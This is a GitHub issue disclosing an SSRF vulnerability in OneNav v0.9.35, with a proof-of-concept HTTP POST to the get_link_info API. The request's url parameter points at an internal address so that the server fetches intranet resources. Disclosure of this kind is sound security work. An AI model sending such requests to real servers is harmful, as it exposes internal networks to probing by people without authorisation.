Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

OneNav v0.9.35-20240318 has SSRF vulnerability #186

Open
Hebing123 opened this issue Apr 26, 2024 · 0 comments
Open

OneNav v0.9.35-20240318 has SSRF vulnerability #186

Hebing123 opened this issue Apr 26, 2024 · 0 comments

Comments

@Hebing123
Copy link

Hebing123 commented Apr 26, 2024

Summary

OneNav v0.9.35-20240318 has SSRF vulnerability. After gaining the administrator permission, an attacker can obtain Intranet website information through the get_link_info interface. This vulnerability could allow an attacker to construct requests with dangerous features and cause the server side to initiate these dangerous network requests.

Details

Incoming links are not strictly checked for security, which may result in access to internal server resources. In addition, the administrator can obtain Intranet website information through the get_link_info interface. Such behavior may leak the internal information of the server.

Proof of Concept (POC)

POST /index.php?c=api&method=get_link_info HTTP/1.1
Host: 192.168.160.155:3080
Content-Length: 38
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.160.155:3080
Referer: http://192.168.160.155:3080/index.php?c=admin&page=edit_link_new&id=10
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID.dc7f2887=node01f1msvx64f4ns1skgll6ph75cu2.node0; key=b189bc601566e2c0190ea32a3ddd2d5b; PHPSESSID=4it3qber7hrftqqfrq4ccgbc8c; docs-theme-layout=light
Connection: close

url=http%3A%2F%2F192.168.160.155:10808

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant